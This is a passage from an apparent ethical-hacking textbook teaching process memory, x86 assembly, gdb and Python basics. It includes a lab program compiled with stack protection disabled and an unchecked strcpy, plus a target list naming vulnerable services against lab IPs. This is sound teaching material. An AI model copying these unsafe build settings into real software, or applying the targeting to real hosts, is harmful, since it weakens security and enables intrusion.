the higher-addressed memory to the lower-addressed memory on most systems. If the
process is multithreaded, each thread will have a unique stack. As you will see, the fact
that the stack grows from high memory toward low memory allows the subject of buffer
overflows to exist. Local variables exist in the stack section. The stack segment is further
explained in Chapter 10.
Environment/Arguments Section
The environment/arguments section is used to store a copy of system-level variables that
may be required by the process during runtime. For example, among other things, the
path, shell name, and hostname are made available to the running process. This section
34
is writable, allowing its use in format string and buffer overflow exploits. Additionally,
the command-line arguments are stored in this area. The sections of memory reside in
the order presented. The memory space of a process looks like this:
Buffers
The term buffer refers to a storage place used to receive and hold data until it can be
handled by a process. Since each process can have its own set of buffers, it is critical to
keep them straight; this is done by allocating the memory within the .data or .bss section
of the process’s memory. Remember, once allocated, the buffer is of fixed length. The
buffer may hold any predefined type of data; however, for our purpose, we will focus on
string-based buffers, which are used to store user input and text-based variables.
Strings in Memory
Simply put, strings are just continuous arrays of character data in memory. The string is
referenced in memory by the address of the first character. The string is terminated or
ended by a null character (\0 in C). The \0 is an example of an escape sequence. Escape
sequences enable the developer to specify a special operation, such as a newline with
\n or a carriage return with \r. The backslash ensures that the subsequent character is
not treated as part of the string. If a backslash is needed, one can simply use the escape
sequence \\, which will show only a single \. Tables of the various escape sequences can
be found online.
Pointers
Pointers are special pieces of memory that hold the address of other pieces of memory.
Moving data around inside of memory is a relatively slow operation. It turns out that
instead of moving data, keeping track of the location of items in memory through point-
ers and simply changing the pointers is much easier. Pointers are saved in 4 or 8 bytes
of contiguous memory, depending on whether the application is 32-bit or 64-bit. For
example, as mentioned, strings are referenced by the address of the first character in the
array. That address value is called a pointer. The variable declaration of a string in C is
written as follows:
char * str; // This is read. Give me 4 or 8 bytes called str which is a
// pointer to a Character variable (the first byte of the
// array).
Note that even though the size of the pointer is set at 4 or 8 bytes, depending on the
architecture, the size of the string has not been set with the preceding command; there-
fore, this data is considered uninitialized and will be placed in the .bss section of the
process memory.
35
Here is another example; if you wanted to store a pointer to an integer in memory, you
would issue the following command in your C program:
PART I
int * point1; //this is read, give me 4 or 8 bytes called point1, which is a
//pointer to an integer variable.
To read the value of the memory address pointed to by the pointer, you dereference
the pointer with the * symbol. Therefore, if you want to print the value of the integer
pointed to by point1 in the preceding code, you would use the command
printf("%d", *point1);
where * is used to dereference the pointer called point1 and display the value of the
integer using the printf() function.
Putting the Pieces of Memory Together

Now that you have the basics down, we will look at a simple example that illustrates the
use of memory in a program.
Lab 2-7: memory.c
First we will list the contents of the program by using cat:

└─$ cat ./memory.c
#include <stdlib.h>
#include <string.h>
int _index = 5; // integer stored in data (initialized)
char * str; // string stored in bss (uninitialized)
int nothing; // integer stored in bss (uninitialized)
void funct1(int c){➌ // bracket starts function1 block with argument (c)
int i=c;➌ // stored in the stack region
str = (char*) malloc (10 * sizeof (char));➍ // Reserves 10 characters in
// the heap region */
strncpy(str, "abcde", 5);➎ // copies 5 characters "abcde" into str
} // end of function1
void main (){➊ // the required main function
funct1(1);➋ // main calls function1 with an argument
}➏ // end of the main function
This program does not do much. First, several pieces of memory are allocated in dif-
ferent sections of the process memory. When main is executed ➊, funct1() is called with
an argument of 1 ➋. Once funct1() is called, the argument is passed to the function
variable called c ➌. Next, memory is allocated on the heap for a 10-byte string called
str ➍. Finally, the 5-byte string “abcde” is copied into the new variable called str ➎. The
function ends, and then the main() program ends ➏.
CAUTION You must have a good grasp of this material before moving on in
the book. If you need to review any part of this chapter, please do so before
continuing.
36
Intel Processors
There are several commonly used computer architectures. In this chapter, we focus on
the Intel family of processors or architecture. The term architecture simply refers to the
way a particular manufacturer implemented its processor. The x86 (32-bit) and x86-64
(64-bit) architectures are still the most commonly used today, with other architectures
such as ARM growing each year. Each architecture uses a unique instruction set. Instruc-
tions from one processor architecture are not understood by another processor.
Registers
Registers are used to store data temporarily. Think of them as fast 8- to 64-bit chunks of
memory for use internally by the processor. Registers can be divided into four categories
(32-bit registers are prefixed with an E, and 64-bit registers are prefixed with an R, as in
EAX and RAX). These are listed and described in Table 2-4.
Register 64-bit Register 32-bit Register 16- and 8-bit

Category Name Name Registers Purpose
General RAX, RBX, RCX, EAX, EBX, Used to manipulate data.
registers RDX, R8–R15. ECX, EDX
AX, BX, CX, DX 16-bit versions of the
preceding entry.
AH, BH, CH, DH, 8-bit high- and low-order
AL, BL, CL, DL bytes of the previous entry.
Segment CS, SS, DS, 16-bit. Used to hold the first
registers ES, FS, GS part of a memory address, as
well as pointers to code, stack,
and extra data segments.
Offset Used to indicate an offset
registers related to segment registers.
RBP (base pointer). EBP Points to the bottom of the
64-bit use of the base stack frame, the beginning of
pointer depends the local environment on the
on frame pointer stack for a function.
omission, language
support, and usage
of registers R8–R15.
RSI (source index). ESI Used to hold the data source
offset in an operation using a
memory block.
RDI (destination EDI Used to hold the destination
index). data offset in an operation
using a memory block.
RSP (stack pointer). ESP Used to point to the top of
the stack.
Special Only used by the CPU.
registers
Table 2-4 Categories of Registers for x86 and x86-64 Processors (continued)
37
Register 64-bit Register 32-bit Register 16- and 8-bit
Category Name Name Registers Purpose
PART I
RFLAGS. EFLAGS Used by the CPU to track
results of logic and the state
of the processor. Key flags
to know are ZF=zero flag,
IF=Interrupt enable flag, and
SF=sign flag.
RIP (instruction 32-bit: EIP Used to point to the address
pointer). of the next instruction to be
executed.
Table 2-4 Categories of Registers for x86 and x86-64 Processors
Assembly Language Basics

Though entire books have been written about the ASM language, you can easily grasp a
few basics to become a more effective ethical hacker.
Machine vs. Assembly vs. C

Computers only understand machine language—that is, a pattern of 1s and 0s. Humans,
on the other hand, have trouble interpreting large strings of 1s and 0s, so assembly was
designed to assist programmers with mnemonics to remember the series of numbers. Later,
higher-level languages were designed, such as C and others, which remove humans even
further from the 1s and 0s. If you want to become a good ethical hacker, you must resist
societal trends and get back to basics with assembly.
AT&T vs. NASM

The two main forms of assembly syntax are AT&T and Intel. AT&T syntax is used by
the GNU Assembler (gas), contained in the gcc compiler suite, and is often used by
Linux developers. Of the Intel syntax assemblers, the Netwide Assembler (NASM) is
the most commonly used. The NASM format is used by many Windows assemblers and
debuggers. The two formats yield effectively the same machine language; however, there
are a few differences in style and format:
• The source and destination operands are reversed, and different symbols are used
to mark the beginning of a comment:
• NASM format CMD <dest>, <source> <; comment>
• AT&T format CMD <source>, <dest> <# comment>
• AT&T format uses a % before registers; NASM does not. The % means
“indirect operand.”
• AT&T format uses a $ before literal values; NASM does not. The $ means
“immediate operand.”
• AT&T handles memory references differently than NASM.
38
This section shows the syntax and examples in NASM format for each command.
Additionally, it shows an example of the same command in AT&T format for compari-
son. In general, the following format is used for all commands:
<optional label:> <mnemonic> <operands> <optional comments>
The number of operands (arguments) depends on the command (mnemonic).

Although there are many assembly instructions, you only need to master a few. These are
described in the following sections.
mov
The mov command copies data from the source to the destination. The value is not
removed from the source location.
NASM Syntax NASM Example AT&T Example

mov <dest>, <source> mov eax, 51h ;comment movl $51h, %eax #comment
Data cannot be moved directly from memory to a segment register. Instead, you must use
a general-purpose register as an intermediate step. Here’s an example:
mov eax, 1234h ; store the value 1234 (hex) into EAX
mov cs, ax ; then copy the value of AX into CS.
add and sub

The add command adds the source to the destination and stores the result in the destina-
tion. The sub command subtracts the source from the destination and stores the result
in the destination.

add <dest>, <source> add eax, 51h addl $51h, %eax
sub <dest>, <source> sub eax, 51h subl $51h, %eax
push and pop

The push and pop commands push and pop items from the stack, respectively.

push <value> push eax pushl %eax
pop <dest> pop eax popl %eax
xor
The xor command conducts a bitwise logical “exclusive or” (XOR) function—for
example, 11111111 XOR 11111111 = 00000000. Therefore, one option is to use XOR
value, value to zero out or clear a register or memory location. Another commonly used
bitwise operator is AND. We could perform a bitwise AND to determine whether a
specific bit within a register or memory location is set or unset, or to determine if a call
to a function such as malloc returns back the pointer to a chunk as opposed to a null.
39
This could be accomplished with assembly such as test eax, eax after a call to malloc.
If the call to malloc returns a null, then the test operation will set the “zero flag” in the
PART I
FLAGS register to a 1. The path followed during a conditional jump instruction such as
jnz after this test can be based on the result of the AND operation. The following is how
it would look in assembly:
call malloc(100)
test eax, eax
jnz loc_6362cc012

xor <dest>, <source> xor eax, eax xor %eax, %eax
jne, je, jz, jnz, and jmp

The jne, je, jz, jnz, and jmp commands branch the flow of the program to another
location based on the value of the eflag “zero flag.” jne/jnz jumps if the zero flag
equals 0; je/jz jumps if the zero flag equals 1; and jmp always jumps.

jnz <dest> / jne <dest> jne start jne start
jz <dest> /je <dest> jz loop jz loop
jmp <dest> jmp end jmp end
call and ret

The call instruction redirects execution to another function. The virtual memory address
after the call instruction is first pushed onto the stack, serving as the return pointer, and
then redirection of execution to the called function is performed. The ret command is
used at the end of a procedure to return the flow to the command after the call.

call <dest> call subroutine1 call subroutine1
ret ret ret
inc and dec

The inc and dec commands increment and decrement the destination, respectively.

inc <dest> inc eax incl %eax
dec <dest> dec eax decl %eax
lea
The lea command loads the effective address of the source into the destination. This
can often be seen when passing the destination argument to a string-copying func-
tion, such as in the following AT&T syntax gdb disassembly example, where we are
40
writing the destination buffer address to the top of the stack as an argument to the
gets function:
lea -0x20(%ebp), %eax
mov %eax, (%esp)
call 0x8048608 <gets@plt>

lea <dest>, <source> lea eax, [dsi +4] leal 4(%dsi), %eax
System Calls: int, sysenter, and syscall

System calls are a mechanism for a process to request a privileged operation to be per-
formed where the context and execution of code are switched from user mode to kernel
mode. The legacy x86 instruction to invoke a system call is int 0x80. This is considered
deprecated but is still supported on 32-bit OSs. The sysenter instruction is its succes-
sor for 32-bit applications. For 64-bit Linux-based OSs and applications, the syscall
instruction is required. The various methods used to invoke a system call and set up the
appropriate arguments must be well understood when you’re writing shellcode and other
specialized programs or payloads.
Addressing Modes
In assembly, several methods can be used to accomplish the same thing. In particular,
there are many ways to indicate the effective address to manipulate in memory. These
options are called addressing modes and are summarized in Table 2-5. Remember, registers
that start with “e” are 32 bits (4 bytes) and those with an “r” are 64 bits (8 bytes).
Addressing Mode Description NASM Examples

Register Registers hold the data to be manipulated. No mov rbx, rdx
memory interaction. Both registers must be the add al, ch
same size.
Immediate The source operand is a numerical value. Decimal is mov eax, 1234h
assumed; use h for hex. mov dx, 301
Direct The first operand is the address of memory to mov bh, 100
manipulate. It’s marked with brackets. mov[4321h], bh
Register Indirect The first operand is a register in brackets that holds mov [di], ecx
the address to be manipulated.
Based Relative The effective address to be manipulated is mov edx, 20[ebx]
calculated by using ebx or ebp plus an offset value.
Indexed Relative Same as Based Relative, but edi and esi are used to mov ecx,20[esi]
hold the offset.
Based Indexed The effective address is found by combining Based mov ax, [bx][si]+1
Relative Relative and Indexed Relative modes.
Table 2-5 Addressing Modes
41
Assembly File Structure
PART I
An assembly source file is broken into the following sections:
• .model The .model directive indicates the size of the .data and .text sections.
• .stack The .stack directive marks the beginning of the stack section and indicates
the size of the stack in bytes.
• .data The .data directive marks the beginning of the .data section and defines
the variables, both initialized and uninitialized.
• .text The .text directive holds the program’s commands.
Lab 2-8: Simple Assembly Program
The following 64-bit assembly program prints “Hello, haxor!” to the screen:
└─$ cat ./hello.asm
section .data ; section declaration
msg db "Hello, haxor!",0xa ; our string with a carriage return
len equ $ - msg ; length of our string, $ means here
section .text ; mandatory section declaration
; export the entry point to the ELF linker or
global _start ; loaders conventionally recognize
; _start as their entry point
_start:
; now, write our string to stdout

; notice how arguments are loaded in reverse
mov edx,len ; third argument (message length)
mov ecx,msg ; second argument (ptr to message to write)
mov ebx,1 ; load first argument (file handle (stdout))
mov eax,4 ; system call number (4=sys_write)
int 0x80 ; call kernel interrupt and exit
mov ebx,0 ; load first syscall argument (exit code)
mov eax,1 ; system call number (1=sys_exit)
int 0x80 ; call kernel interrupt and exit
The first step in assembling is to convert the assembly into object code (32-bit example):
└─$ nasm -felf64 hello.asm
Next, you invoke the linker to make the executable:

└─$ ld -s -o hello hello.o
Finally, you can run the executable:

└─$ ./hello
Hello, haxor!
42
Command Description
b <function> Sets a breakpoint at <function>
b *mem Sets a breakpoint at the absolute memory location
info b Displays information about breakpoints
delete b Removes a breakpoint
run <args> Starts debugging the program from within gdb using the given arguments
info reg Displays information about the current register state
stepi or si Executes one machine instruction
next or n Executes one function
bt Backtrace command; shows the names of stack frames
up/down Moves up and down the stack frames
print var Prints the value of the variable and prints the value of a register, respectively
print /x $<reg>
x /NT A Examines memory, where N = number of units to display; T = type of data to
display (x:hex, d:dec, c:char, s:string, i:instruction); and A = absolute address
or symbolic name, such as “main”
quit Exits gdb
Table 2-6 Common gdb Commands
Debugging with gdb

The debugger of choice for programming with C on Unix systems is gdb. It provides a
robust command-line interface, allowing you to run a program while maintaining full
control. For example, you can set breakpoints in the execution of the program and moni-
tor the contents of memory or registers at any point you like. For this reason, debuggers
like gdb are invaluable to programmers and hackers alike. For those looking for a more
graphical debugging experience on Linux, alternatives or extensions such as ddd and edb
are available.
gdb Basics
Commonly used commands in gdb are listed and described in Table 2-6.
Lab 2-9: Debugging
To debug our sample program, first install gdb into your Kali instance:
└─$ sudo apt-get update
Get:1 http://kali.download/kali kali-rolling InRelease [30.5 kB]
…truncated for brevity…
43
Reading package lists... Done
└─$ sudo apt install gdb
PART I
Do you want to continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 libc6-i386 amd64
2.31-9 [2,819 kB]
Now, we issue the following commands. The first command will recompile our meet
program with debugging symbols and other useful options (refer to Table 2-3).
└─$ gcc -ggdb -mpreferred-stack-boundary=4 -fno-stack-protector -o meet meet.c
└─$ gdb -q meet
Reading symbols from meet...
(gdb) run l337 Haxor
Starting program: /home/kali/GHHv6/ch02/meet l337 Haxor
Hello l337 Haxor
Bye l337 Haxor
[Inferior 1 (process 17417) exited normally]
(gdb) b main
Breakpoint 1 at 0x5555555551ab: file meet.c, line 10.
(gdb) run l337 Haxor
Starting program: /home/kali/GHHv6/ch02/meet l337 Haxor
Breakpoint 1, main (argc=3, argv=0x7fffffffe488) at meet.c:10

10 greeting(argv[1], argv[2]); // call function, pass title & name
(gdb) n
Hello l337 Haxor
11 printf("Bye %s %s\n", argv[1], argv[2]); // say "bye"
(gdb) n
Bye l337 Haxor
12 } // exit program
(gdb) p argv[1]
$1 = 0x7fffffffe719 "l337"
(gdb) p argv[2]
$2 = 0x7fffffffe71c "Haxor"
(gdb) p argc
$3 = 3
(gdb) info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x00005555555551ab in main at meet.c:10
breakpoint already hit 1 time
(gdb) info reg
rax 0x0 0
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x5555555592a0 93824992252576
(gdb) quit
A debugging session is active.
Do you still want to close the debugger?(y or n) y
$
44
Lab 2-10: Disassembly with gdb
To conduct disassembly with gdb, you need the following two commands:
set disassembly-flavor <intel/att>
disassemble <function name>
The first command toggles back and forth between Intel (NASM) and AT&T format.
By default, gdb uses AT&T format. The second command disassembles the given func-
tion (to include main, if given). For example, to disassemble the function called greeting
in both formats, you type this:
└─$ gdb -q meet
Reading symbols from meet...
(gdb) disassemble greeting
Dump of assembler code for function greeting:
0x0000000000001145 <+0>: push %rbp
0x0000000000001146 <+1>: mov %rsp,%rbp
0x0000000000001149 <+4>: sub $0x1a0,%rsp
0x0000000000001150 <+11>: mov %rdi,-0x198(%rbp)
0x0000000000001157 <+18>: mov %rsi,-0x1a0(%rbp)
0x000000000000115e <+25>: mov -0x1a0(%rbp),%rdx
0x0000000000001165 <+32>: lea -0x190(%rbp),%rax
0x000000000000116c <+39>: mov %rdx,%rsi
0x000000000000116f <+42>: mov %rax,%rdi
0x0000000000001172 <+45>: call 0x1030 <strcpy@plt>
0x0000000000001177 <+50>: lea -0x190(%rbp),%rdx
0x000000000000117e <+57>: mov -0x198(%rbp),%rax
0x0000000000001185 <+64>: mov %rax,%rsi
0x0000000000001188 <+67>: lea 0xe75(%rip),%rdi # 0x2004
0x000000000000118f <+74>: mov $0x0,%eax
0x0000000000001194 <+79>: call 0x1040 <printf@plt>
0x0000000000001199 <+84>: nop
0x000000000000119a <+85>: leave
0x000000000000119b <+86>: ret
End of assembler dump.
(gdb) set disassembly-flavor intel
(gdb) disassemble greeting
Dump of assembler code for function greeting:
0x0000000000001145 <+0>: push rbp
0x0000000000001146 <+1>: mov rbp,rsp
0x0000000000001149 <+4>: sub rsp,0x1a0
0x0000000000001150 <+11>: mov QWORD PTR [rbp-0x198],rdi
0x0000000000001157 <+18>: mov QWORD PTR [rbp-0x1a0],rsi
0x000000000000115e <+25>: mov rdx,QWORD PTR [rbp-0x1a0]
0x0000000000001165 <+32>: lea rax,[rbp-0x190]
0x000000000000116c <+39>: mov rsi,rdx
0x000000000000116f <+42>: mov rdi,rax
0x0000000000001172 <+45>: call 0x1030 <strcpy@plt>
0x000000000000119b <+86>: ret
(gdb) quit
Here are a couple more commonly used commands:

info functions
disassemble /r <function name>
45
The info functions command shows all dynamically linked functions, as well as all
internal functions, unless the program has been stripped. Using the disassemble func-
PART I
tion with the /r <function name> option dumps out the opcodes and operands as well
as the instructions. Opcodes are essentially the machine code representations of the preas-
sembled assembly code.
Python Survival Skills

Python is a popular interpreted, object-oriented programming language. Hacking tools
(and many other applications) use Python because it is a breeze to learn and use, is quite
powerful, and has a clear syntax that makes it easy to read. This introduction covers only
the bare minimum you need to understand. You’ll almost surely want to know more,
and for that you can check out one of the many good books dedicated to Python or
the extensive documentation at www.python.org. Python 2.7 was retired on January 1,
2020. Many practitioners are still fond of 2.7 and would tell you over the years that if you
want to learn Python to be able to use and modify or extend existing Python projects,
you should first learn Python 2.7. However, at this time, if your goal is to get working
on new Python development, you should focus on Python 3, as it cleans up a lot of the
issues in Python 2.7. There are still countless programs with dependencies on Python 2.6
or Python 2.7, so be aware of what version you are using.
Getting Python
We’re going to blow past the usual architecture diagrams and design goals spiel and
tell you to just go download the Python version for your OS from www.python.org/
download/ so you can follow along here. Alternatively, try just launching it by typing
python at your command prompt—it comes installed by default on many Linux distri-
butions and Mac OS X 10.3 and later.
Python for macOS and Kali Users

For macOS users, Apple does not include Python’s IDLE user interface, which is
handy for Python development. You can grab it from www.python.org/download/
mac/, or you can choose to edit and launch Python from Xcode, Apple’s develop-
ment environment, by following the instructions at http://pythonmac.org/wiki/
XcodeIntegration. If you already have Python but need to upgrade to Python 3 and
set that as the default, the correct way, using pyenv, then see the “For Further Read-
ing” section for a link to a good tutorial.
For Kali users, as of the writing of this chapter, Kali 2020.4 is the latest version,
and in that version, python2 is still the default linked version, for backward compat-
ibility, until all the scripts are updated to python3. See the “For Further Reading”
section for a link to change this.
46
Because Python is interpreted (not compiled), you can get immediate feedback from
Python using its interactive prompt. We’ll use it for the next few pages, so you should
start the interactive prompt now by typing python.
Lab 2-11: Launching Python
If you have Kali 2020.4, you will still need to manually launch version 3 by running the
command python3, like so:
└─$ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
Lab 2-12: “Hello, World!” in Python
Every language introduction must start with the obligatory “Hello, world!” example, and
here it is for Python 3.8.6 on Kali 2020.4, launched with the previous python3 command:
>>> print("Hello, world!")
Hello, world!
>>>
Notice that in Python 3, print is a formal function and requires parentheses2. If you
wish to exit this Python shell, type exit().
Python Objects
The main things you need to understand really well are the different types of objects that
Python can use to hold data and how it manipulates that data. We’ll cover the big five
data types: strings, numbers, lists, dictionaries, and files. After that, we’ll cover some basic
syntax and the bare minimum you will need to know about Python and networking.
Lab 2-13: Strings
You already used one string object in Lab 2-12. Strings are used in Python to hold text.
The best way to show you how easy it is to use and manipulate strings is to demonstrate
the technique, again using the Python 3 shell, as follows:
>>> string1 = 'Dilbert'
>>> string2 = 'Dogbert'
>>> string1 + string2
'DilbertDogbert'
47
>>> string1 + " Asok " + string2
'Dilbert Asok Dogbert'
>>> string3 = string1 + string2 + "Wally"
PART I
>>> string3
'DilbertDogbertWally'
>>> string3[2:10] # string 3 from index 2 (0-based) to 10
'lbertDog'
>>> string3[0]
'D'
>>> len(string3)
19
>>> string3[14:] # string3 from index 14 (0-based) to end
'Wally'
>>> string3[-5:] # Start 5 from the end and print the rest
'Wally'
>>> string3.find('Wally') # index (0-based) where string starts
14
>>> string3.find('Alice') # -1 if not found
-1
>>> string3.replace('Dogbert','Alice') # Replace Dogbert with Alice
'DilbertAliceWally'
>>> print('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') # 30 A's the hard way
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>>> print ('A' * 30) # 30 A's the easy way
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
These are the basic string-manipulation functions you’ll use when working with
simple strings. The syntax is simple and straightforward, just as you’ll come to expect
from Python. One important distinction to make right away is that each of those
strings (we named them string1, string2, and string3) is simply a pointer—for those
familiar with C—or a label for a blob of data out in memory someplace. One concept
that sometimes trips up new programmers is the idea of one label (or pointer) pointing
to another label. The following code and Figure 2-1 demonstrate this concept:
>>> label1 = 'Dilbert'
>>> label2 = label1
At this point, we have a blob of memory somewhere with the Python string 'Dilbert'
stored. We also have two labels pointing at that blob of memory. If we then change
label1’s assignment, label2 does not change:
... continued from above
>>> label1 = 'Dogbert'
>>> label2
'Dilbert'
Figure 2-1
Two labels
pointing at the
same string in
memory
48
Figure 2-2
Label1 is
reassigned
to point to a
different string.
As you can see in Figure 2-2, label2 is not pointing to label1, per se. Rather, it’s point-
ing to the same thing label1 was pointing to until label1 was reassigned.
Lab 2-14: Numbers
Similar to Python strings, numbers point to an object that can contain any kind of
number. This data type can hold small numbers, big numbers, complex numbers,
negative numbers, and any other kind of number you can dream up. The syntax is just
as you’d expect:
>>> n1=5 # Create a Number object with value 5 and label it n1
>>> n2=3
>>> n1 * n2
15
>>> n1 ** n2 # n1 to the power of n2 (5^3)
125
>>> 5 / 3, 5 % 3 # Divide 5 by 3, then 5 modulus 3
(1.6666666666666667, 2)
# In Python 2.7, the above 5 / 3 calculation would not result in a float without
# specifying at least one value as a float.
>>> n3 = 1 # n3 = 0001 (binary)
>>> n3 << 3 # Shift left three times: 1000 binary = 8
8
>>> 5 + 3 * 2 # The order of operations is correct
11
Now that you’ve seen how numbers work, we can start combining objects. What
happens when we evaluate a string plus a number?
>>> s1 = 'abc'
>>> n1 = 12
>>> s1 + n1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: Can't convert 'int' object to str implicitly
Error! We need to help Python understand what we want to happen. In this case, the
only way to combine 'abc' and 12 is to turn 12 into a string. We can do that on the fly:
>>> s1 + str(n1)
'abc12'
>>> s1.replace('c',str(n1))
'ab12'
49
When it makes sense, different types can be used together:
PART I
>>> s1*n1 # Display 'abc' 12 times
'abcabcabcabcabcabcabcabcabcabcabcabc'
And one more note about objects—simply operating on an object often does not
change the object. The object itself (number, string, or otherwise) is usually changed only
when you explicitly set the object’s label (or pointer) to the new value, as follows:
>>> n1 = 5
>>> n1 ** 2 # Display value of 5^2
25
>>> n1 # n1, however is still set to 5
5
>>> n1 = n1 ** 2 # Set n1 = 5^2
>>> n1 # Now n1 is set to 25
25
Lab 2-15: Lists
The next type of built-in object we’ll cover is the list. You can throw any kind of object
into a list. A list is usually created by adding [ and ] around an object or a group of
objects. You can do the same kind of clever “slicing” as with strings. Slicing refers to our
string example of returning only a subset of the object’s values—for example, from the
fifth value to the tenth with label1[5:10]. Let’s look at how the list type works:
>>> mylist = [1,2,3]
>>> len(mylist)
3
>>> mylist*4 # Display mylist, mylist, mylist, mylist
[1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3]
>>> 1 in mylist # Check for existence of an object
True
>>> 4 in mylist
False
>>> mylist[1:] # Return slice of list from index 1 and on
[2, 3]
>>> biglist = [['Dilbert', 'Dogbert', 'Catbert'],
... ['Wally', 'Alice', 'Asok']] # Set up a two-dimensional list
>>> biglist[1][0]
'Wally'
>>> biglist[0][2]
'Catbert'
>>> biglist[1] = 'Ratbert' # Replace the second row with 'Ratbert'
>>> biglist
[['Dilbert', 'Dogbert', 'Catbert'], 'Ratbert']
>>> stacklist = biglist[0] # Set another list = to the first row
>>> stacklist
['Dilbert', 'Dogbert', 'Catbert']
>>> stacklist = stacklist + ['The Boss']
>>> stacklist
50
['Dilbert', 'Dogbert', 'Catbert', 'The Boss']
>>> stacklist.pop() # Return and remove the last element
'The Boss'
>>> stacklist.pop()
'Catbert'
>>> stacklist.pop()
'Dogbert'
>>> stacklist
['Dilbert']
>>> stacklist.extend(['Alice', 'Carol', 'Tina'])
>>> stacklist
['Dilbert', 'Alice', 'Carol', 'Tina']
>>> stacklist.reverse()
>>> stacklist
['Tina', 'Carol', 'Alice', 'Dilbert']
>>> del stacklist[1] # Remove the element at index 1
>>> stacklist
['Tina', 'Alice', 'Dilbert']
Next, we’ll take a quick look at dictionaries and then files, and then we’ll put all the
elements together.
Lab 2-16: Dictionaries
Dictionaries are similar to lists, except that an object stored in a dictionary is referenced
by a key, not by the index of the object. This turns out to be a very convenient mecha-
nism for storing and retrieving data. A dictionary is created by adding { and } around a
key-value pair, like this:
>>> d = { 'hero' : 'Dilbert' }
>>> d['hero']
'Dilbert'
>>> 'hero' in d
True
>>> 'Dilbert' in d # Dictionaries are indexed by key, not value
False
>>> d.keys() # keys() returns a list of all objects used as keys
dict_keys(['hero'])
>>> d.values() # values() returns a list of all objects used as values
dict_keys(['Dilbert'])
>>> d['hero'] = 'Dogbert'
>>> d
{'hero': 'Dogbert'}
>>> d['buddy'] = 'Wally'
>>> d['pets'] = 2 # You can store any type of object, not just strings
>>> d
{'hero': 'Dogbert', 'buddy': 'Wally', 'pets': 2}
We’ll use dictionaries more in the next section as well. Dictionaries are a great way to
store any values that you can associate with a key, where the key is a more useful way to
fetch the value than a list’s index.
51
Lab 2-17: Files with Python
PART I
File access is as easy as the rest of Python’s language. Files can be opened (for reading
or for writing), written to, read from, and closed. Let’s put together an example using
several of the different data types discussed here, including files. This example assumes
that we start with a file named targets and that we transfer the file contents into indi-
vidual vulnerability target files. (We can hear you saying, “Finally, an end to the Dilbert
examples!”) Note the required indentation being used within blocks. In this example, we
use the Python 3 shell to parse a file and move the contents of that file into two other
files. We use two shells in Kali, each in the same directory. Comments, which start with
the # symbol, are given within the code. You obviously don’t need to type them.
└─$ cat targets
RPC-DCOM 10.10.20.1,10.10.20.4
SQL-SA-blank-pw 10.10.20.27,10.10.20.28
# We want to move the contents of targets into two separate files
└─$ python3
# First, open the file for reading
>>> targets_file = open('targets','r') ➊
# Read the contents into a list of strings
>>> lines = targets_file.readlines()
>>> lines
['RPC-DCOM\t10.10.20.1,10.10.20.4\n', 'SQL-SA-blank-pw\
t10.10.20.27,10.10.20.28\n']
# We can also do it with a "with" statement using the following syntax:
>>> with open("targets", "r") as f:
... lines = f.readlines()
...
>>> lines
['RPC-DCOM 10.10.20.1,10.10.20.4\n', 'SQL-SA-blank-pw
10.10.20.27,10.10.20.28\n', '\n']
# The "with" statement automatically ensures that the file is closed and
# is seen as a more appropriate way of working with files..
# Let's organize this into a dictionary
>>> lines_dictionary = {}
>>> for line in lines: ➋ # Notice the trailing : to start a loop
... one_line = line.split() # split() will separate on white space
... line_key = one_line[0]
... line_value = one_line[1]
... lines_dictionary[line_key] = line_value
... # Note: Next line is blank (<CR> only) to break out of the for loop
...
>>> # Now we are back at python prompt with a populated dictionary
>>> lines_dictionary
{'RPC-DCOM': '10.10.20.1,10.10.20.4', 'SQL-SA-blank-pw':
'10.10.20.27,10.10.20.28'}
# Loop next over the keys and open a new file for each key
>>> for key in lines_dictionary.keys():
... targets_string = lines_dictionary[key] # value for key
... targets_list = targets_string.split(',') # break into list
... targets_number = len(targets_list)
52
... filename = key + '_' + str(targets_number) + '_targets'
... vuln_file = open(filename,'w')
... for vuln_target in targets_list: # for each IP in list...
... vuln_file.write(vuln_target + '\n')
... vuln_file.close()
...
>>> exit()
└─$ ls
RPC-DCOM_2_targets targets
SQL-SA-blank-pw_2_targets
└─$ cat SQL-SA-blank-pw_2_targets
10.10.20.27
10.10.20.28
└─$ cat RPC-DCOM_2_targets
10.10.20.1
10.10.20.4
This example introduces a couple new concepts. First, you now see how easy it is to
use files; open() takes two arguments ➊: the first is the name of the file you’d like to read
or create, and the second is the access type. You can open the file for reading (r), writing
(w), and appending (a). Adding a + after the letter adds more permissions; for example,
r+ results in read and write access to the file. Adding a b after the permission opens it in
binary mode.
Second, you now have a for loop example ➋. The structure of a for loop is as follows:
for <iterator-value> in <list-to-iterate-over>:
# Notice the colon at the end of the previous line
# Notice the indentation
# Do stuff for each value in the list
CAUTION In Python, white space matters, and indentation is used to mark

code blocks. Most Python programmers stick with an indentation of four
spaces. The indentation must be consistent throughout a block. See the link
to the Python style guide in the “For Further Reading” section.
Unindenting one level or a placing a carriage return on a blank line closes the loop.
No need for C-style curly brackets. Also, if statements and while loops are similarly
structured. Here is an example:
if foo > 3:
print('Foo greater than 3')
elif foo == 3:
print('Foo equals 3')
else:
print('Foo not greater than or equal to 3')
...
while foo < 10:
foo = foo + bar
53
Lab 2-18: Sockets with Python
PART I
The final topic we need to cover is Python’s socket object. To demonstrate Python
sockets, let’s build a simple client that connects to a remote (or local) host and then
sends 'Say something:'. To test this code, we need a “server” to listen for this client to
connect. We can simulate a server by binding a netcat listener to port 4242 with the
following syntax (you need to launch nc in a new shell):
└─$ nc -l -p 4242
The client code (which should be run in a separate shell) follows:

#client.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 4242))➊
s.send(b'Say something: ')➋ # b tag added in python3 to indicate bytes not str
data = s.recv(1024)➌
s.close()➍
print('Received', data)➎
You do need to remember to import the socket library. The socket instantiation
line also has some socket options to remember, but the rest is easy. You connect to a
host and port ➊, send what you want ➋, then use recv to store the data into an object
➌, and then close the socket ➍. When you execute this in a separate shell, by typing
